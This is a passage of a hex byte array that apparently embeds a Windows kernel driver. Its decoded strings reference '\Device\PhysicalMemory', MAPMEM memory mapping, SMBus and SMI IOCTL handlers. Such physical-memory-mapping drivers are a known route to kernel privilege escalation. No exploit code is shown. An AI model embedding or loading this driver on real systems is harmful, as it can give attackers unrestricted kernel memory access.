0x4C, 0x8B, 0x0D, 0x9C, 0x21, 0x00, 0x00, - 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x88, 0x21, 0x00, 0x00, - 0xFF, 0x15, 0x52, 0x12, 0x00, 0x00, 0xCC, 0xCC, 0xFF, 0x25, 0xEA, 0x11, - 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, - 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, - 0x40, 0x53, 0x41, 0x8B, 0x00, 0x48, 0x8B, 0xDA, 0x44, 0x8B, 0xD8, 0x4C, - 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xD1, 0xA8, 0x04, 0x74, - 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, - 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, - 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, - 0x4B, 0x08, 0x8A, 0x41, 0x03, 0xA8, 0x0F, 0x74, 0x09, 0x0F, 0xB6, 0xC0, - 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, - 0x5B, 0xE9, 0x36, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4D, 0x33, 0xDB, 0xFF, 0x25, 0xAF, 0x11, 0x00, - 0x00, 0xCC, 0x49, 0x83, 0xCB, 0x01, 0xEB, 0xF3, 0x49, 0x83, 0xCB, 0x02, - 0xEB, 0xED, 0x49, 0x83, 0xCB, 0x03, 0xEB, 0xE7, 0x49, 0x83, 0xCB, 0x04, - 0xEB, 0xE1, 0x49, 0x83, 0xCB, 0x05, 0xEB, 0xDB, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0x66, 0x90, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xE0, 0x07, 0x85, - 0xC0, 0x75, 0x10, 0x48, 0x8B, 0x14, 0x24, 0x64, 0x4C, 0x8B, 0x04, 0x24, - 0xB9, 0x2C, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x3C, 0x03, 0x74, 0x1F, 0x4C, - 0x8B, 0xC1, 0x3C, 0x01, 0x74, 0x18, 0x4C, 0x8B, 0xC2, 0x3C, 0x02, 0x74, - 0x11, 0x4D, 0x8B, 0xC1, 0x3C, 0x04, 0x74, 0x0A, 0x4D, 0x8B, 0xC2, 0x3C, - 0x05, 0x74, 0x03, 0x4D, 0x33, 0xC0, 0x4C, 0x33, 0xD8, 0x49, 0x8B, 0x13, - 0xEB, 0xCE, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x1F, 0x40, 0x00, - 0xFF, 0x25, 0x3A, 0x11, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x0F, 0x1F, 0x40, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x82, 0xA2, 0x01, 0x00, 0x00, - 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x58, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, - 0x03, 0x74, 0x16, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0A, - 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF8, 0x75, - 0xEF, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x8A, 0x04, 0x0A, 0x48, 0xFF, 0xC1, 0x49, 0xFF, - 0xC8, 0x88, 0x41, 0xFF, 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x83, - 0xFA, 0x10, 0x72, 0x70, 0xF7, 0xD9, 0x83, 0xE1, 0x0F, 0x74, 0x0E, 0x4C, - 0x2B, 0xC1, 0xF3, 0x42, 0x0F, 0x6F, 0x04, 0x1A, 0xF3, 0x41, 0x0F, 0x7F, - 0x03, 0x49, 0x03, 0xCB, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, - 0x81, 0xF9, 0x00, 0x20, 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, - 0x49, 0x83, 0xE0, 0x1F, 0xF3, 0x0F, 0x6F, 0x04, 0x0A, 0xF3, 0x0F, 0x6F, - 0x4C, 0x0A, 0x10, 0x48, 0x83, 0xC1, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0xE0, - 0x66, 0x0F, 0x7F, 0x49, 0xF0, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x4F, - 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, - 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, - 0xA3, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0xFF, 0xC1, - 0xF6, 0xC1, 0x0F, 0x75, 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, - 0xFA, 0x00, 0x02, 0x00, 0x00, 0x72, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, - 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, - 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, - 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x04, - 0x0A, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0x10, 0x66, 0x0F, 0xE7, 0x01, 0x66, - 0x0F, 0xE7, 0x49, 0x10, 0x48, 0x83, 0xC1, 0x40, 0xF3, 0x0F, 0x6F, 0x44, - 0x0A, 0xE0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xF0, 0x66, 0x0F, 0xE7, 0x41, - 0xE0, 0x66, 0x0F, 0xE7, 0x49, 0xF0, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, - 0xE8, 0x00, 0x02, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, - 0x73, 0x99, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x05, 0x0F, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x79, 0xFE, 0xFF, - 0xFF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x49, 0x03, - 0xC8, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x4F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x03, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x48, 0x83, 0xE9, - 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xEF, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x8A, 0x44, 0x0A, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x88, 0x01, - 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x48, 0x83, 0xFA, 0xF0, 0x77, 0x74, 0x48, 0x8B, 0xC1, 0x83, - 0xE1, 0x0F, 0x74, 0x11, 0x4C, 0x2B, 0xC1, 0x48, 0xF7, 0xD9, 0xF3, 0x0F, - 0x6F, 0x44, 0x02, 0xF0, 0xF3, 0x0F, 0x7F, 0x40, 0xF0, 0x48, 0x03, 0xC8, - 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, 0x81, 0xF9, 0x00, 0x20, - 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x1F, - 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xE0, - 0x48, 0x83, 0xE9, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0x10, 0x66, 0x0F, 0x7F, - 0x09, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, 0xA3, 0x48, 0xFF, 0xC9, - 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x0F, 0x75, - 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xFE, 0xFF, - 0xFF, 0x77, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, - 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, - 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x02, 0x00, 0x00, 0xB8, - 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, - 0x6F, 0x4C, 0x0A, 0xE0, 0x66, 0x0F, 0xE7, 0x41, 0xF0, 0x66, 0x0F, 0xE7, - 0x49, 0xE0, 0x48, 0x83, 0xE9, 0x40, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0x10, - 0xF3, 0x0F, 0x6F, 0x0C, 0x0A, 0x66, 0x0F, 0xE7, 0x41, 0x10, 0x66, 0x0F, - 0xE7, 0x09, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, 0xE8, 0x00, 0x02, 0x00, - 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, 0x73, 0x99, 0xF0, 0x80, - 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x0F, 0x85, - 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x7E, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, - 0x2C, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, - 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x47, 0x73, 0x60, - 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x49, 0x89, - 0x54, 0x01, 0xF8, 0x49, 0x83, 0xE9, 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x0F, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0x88, 0x54, 0x08, - 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0x90, 0xC3, 0x66, 0x66, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, - 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, - 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x4D, - 0x8B, 0xD1, 0x49, 0xC1, 0xEA, 0x03, 0x49, 0x83, 0xE1, 0x07, 0x74, 0x1C, - 0x49, 0x83, 0xE9, 0x08, 0x4A, 0x8D, 0x0C, 0xC9, 0x49, 0xF7, 0xD9, 0x49, - 0xFF, 0xC2, 0x4C, 0x8D, 0x1D, 0x06, 0x00, 0x00, 0x00, 0x4F, 0x8D, 0x1C, - 0x8B, 0x41, 0xFF, 0xE3, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, - 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x89, 0x51, 0x20, 0x48, - 0x89, 0x51, 0x28, 0x48, 0x89, 0x51, 0x30, 0x48, 0x89, 0x51, 0x38, 0x48, - 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xCA, 0x75, 0xD8, 0x49, 0x83, 0xE0, 0x07, - 0x74, 0x0A, 0x41, 0x88, 0x54, 0x08, 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, - 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, - 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, - 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, - 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, - 0x53, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x50, 0x56, 0x4F, 0x49, 0x44, - 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, - 0x64, 0x20, 0x3A, 0x28, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x70, 0x75, - 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x4C, 0x65, 0x6E, 0x67, 0x74, - 0x68, 0x3D, 0x25, 0x64, 0x2C, 0x73, 0x7A, 0x69, 0x65, 0x6F, 0x66, 0x28, - 0x50, 0x56, 0x4F, 0x49, 0x44, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, - 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x5A, 0x77, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x53, 0x4D, 0x42, - 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x49, 0x6E, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, - 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, - 0x61, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, 0x61, 0x64, 0x20, 0x25, 0x64, 0x20, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x25, 0x64, 0x20, 0x74, 0x6F, 0x20, - 0x25, 0x64, 0x00, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x49, 0x4F, 0x20, - 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x68, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4D, 0x00, 0x65, 0x00, - 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x3D, 0x30, 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, - 0x4F, 0x4E, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, - 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x4F, 0x46, 0x46, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x43, 0x68, 0x6B, 0x43, - 0x50, 0x55, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x43, 0x50, 0x55, 0x54, 0x65, 0x6D, 0x70, 0x50, - 0x77, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, - 0x63, 0x74, 0x6C, 0x53, 0x4D, 0x49, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x73, - 0x69, 0x7A, 0x65, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x74, 0x63, - 0x68, 0x20, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x2E, 0x39, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, - 0x2E, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x61, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, - 0x78, 0x74, 0x5F, 0x64, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x64, - 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x70, 0x3D, 0x20, - 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x34, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x6F, 0x72, 0x67, 0x5F, 0x61, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x6F, - 0x72, 0x67, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x56, 0x61, 0x6C, 0x69, 0x64, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x50, 0x61, - 0x67, 0x65, 0x41, 0x64, 0x64, 0x72, 0x2D, 0x3E, 0x64, 